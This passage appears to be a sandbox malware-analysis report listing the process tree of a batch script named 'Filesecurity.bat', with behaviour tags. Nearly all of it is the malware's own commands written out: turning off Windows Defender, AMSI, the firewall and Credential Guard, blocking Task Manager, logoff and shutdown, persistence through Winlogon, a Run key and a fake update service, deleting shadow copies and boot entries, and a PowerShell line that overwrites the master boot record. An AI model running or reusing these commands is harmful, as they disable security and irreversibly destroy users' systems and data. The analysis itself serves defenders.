  PID:1140
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4424
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1508
- C:\Windows\system32\powercfg.exe
  powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3348
- C:\Windows\system32\powercfg.exe
  powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5024
- C:\Windows\system32\powercfg.exe
  powercfg -setactive SCHEME_CURRENT
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3964
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:4644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3028
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:212
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2520
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2176
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3988
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
  2⤵
  PID:756
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
  2⤵
  PID:764
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3616
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
  2⤵
  PID:5064
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
  2⤵
  PID:388
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off #
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4564
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\shutdown.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4172
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\logoff.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4504
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\shutdown.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3388
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\logoff.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5000
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4836
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1548
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1568
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:5040
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:4508
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:2904
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:2072
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2328
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3520
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
  2⤵
  PID:3352
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSetFolders" /t REG_DWORD /d 1 /f
  2⤵
  PID:2804
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4732
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4576
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4340
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2068
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTrayItemsDisplay" /t REG_DWORD /d 1 /f
  2⤵
  PID:2540
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWinKeys" /t REG_DWORD /d 1 /f
  2⤵
  PID:5068
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4776
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTaskbar" /t REG_DWORD /d 1 /f
  2⤵
  PID:4468
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:3276
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d 1 /f
  2⤵
  PID:3288
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSecurityCenter" /t REG_DWORD /d 1 /f
  2⤵
  PID:2244
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:656
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:4100
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v "Flags" /t REG_SZ /d "122" /f
  2⤵
  PID:4596
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "58" /f
  2⤵
  PID:4692
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\MouseKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:5088
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\HighContrast" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:924
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:4572
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:1692
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:4804
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f
  2⤵
  PID:1384
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4724
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:3908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:876
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:416
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:1368
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:4080
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:4428
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:4332
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:4812
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f
  2⤵
  PID:468
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:700
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
  2⤵
  PID:4932
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
  2⤵
  PID:1944
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 1 /f
  2⤵
  PID:4896
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 2 /f
  2⤵
  PID:1036
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsInstaller" /t REG_DWORD /d 1 /f
  2⤵
  PID:4636
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:3280
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f
  2⤵
  PID:2204
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
  2⤵
  - Modifies visibility of hidden/system files in Explorer
  PID:1464
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f
  2⤵
  PID:3148
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:4312
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
  2⤵
  PID:1048
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\DWM" /v EnableAeroPeek /t REG_DWORD /d 0 /f
  2⤵
  PID:4672
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:3404
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:1644
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDisplaySettingsPage /t REG_DWORD /d 1 /f
  2⤵
  PID:520
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 0x03ffffff /f
  2⤵
  PID:3588
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:1492
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
  2⤵
  PID:2252
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f
  2⤵
  PID:2020
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  PID:1996
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:4068
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:4144
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\disk" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:332
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\ACPI" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:3724
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" /v DisablePCA /t REG_DWORD /d 1 /f
  2⤵
  PID:644
- C:\Windows\System32\Wbem\WMIC.exe
  wmic nic where "NetEnabled=true" call Disable
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\system32\sc.exe
  sc stop WerSvc
  2⤵
  PID:2424
- C:\Windows\system32\sc.exe
  sc config WerSvc start= disabled
  2⤵
  PID:2160
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:228
- C:\Windows\system32\fsutil.exe
  fsutil usn deletejournal /d C:
  2⤵
  PID:212
- C:\Windows\system32\fsutil.exe
  fsutil volume diskfree C:
  2⤵
  PID:1716
- C:\Windows\system32\bcdedit.exe
  bcdedit /set hypervisorlaunchtype off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4908
- C:\Windows\system32\sc.exe
  sc create "WinUpdateHelper" binPath= "cmd /c start C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" start= auto
  2⤵
  PID:4928
- C:\Windows\system32\sethc.exe
  sethc.exe 251
  2⤵
  PID:1460
- C:\Windows\system32\reg.exe
  reg add "HKCU\AppEvents\Schemes" /ve /t REG_SZ /d ".None" /f
  2⤵
  PID:3120
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Adds Run key to start application
  PID:2644
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
  2⤵
  PID:2196
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
  2⤵
  PID:936
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1008
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1852
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:3816
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3616
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:4180
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2⤵
  PID:4392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$drive = New-Object System.IO.FileStream '\\.\PhysicalDrive0', 'Open', 'Write', 'ReadWrite'; $zero = New-Object Byte[] 512; $drive.Write($zero, 0, $zero.Length); $drive.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Writes to the Master Boot Record (MBR)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3524
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {default} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2792
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3668
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4696
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2952
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v "LastKnownGood" /t REG_DWORD /d 0 /f
  2⤵
  PID:3288
- C:\Windows\system32\sc.exe
  sc stop SDRSVC
  2⤵
  PID:4364
- C:\Windows\system32\sc.exe
  sc config SDRSVC start= disabled
  2⤵
  PID:656
- C:\Windows\system32\bcdedit.exe
  bcdedit /set nx AlwaysOff
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4100
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {bootmgr}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:8
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\System32 /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4236
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2256
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1932
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4320
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1048
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3892
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4672
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5076
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4628
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1492
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2580
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3244
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2880
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1456
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3864
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4064
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3944
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:768
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1624
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3776
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3720
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:644
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3964
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1540
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2424
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:216
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:472
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2160
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3376
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3528
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:212
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2612
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3804
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2180
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4756
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3844
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4248
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4868
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4368
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2056
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3680
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:280
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2196
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4960
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1852
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4656
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1008
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4284
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1356
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1568
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2260
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5036
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2728
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4616
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:944
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:456
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4836
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2860
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3352
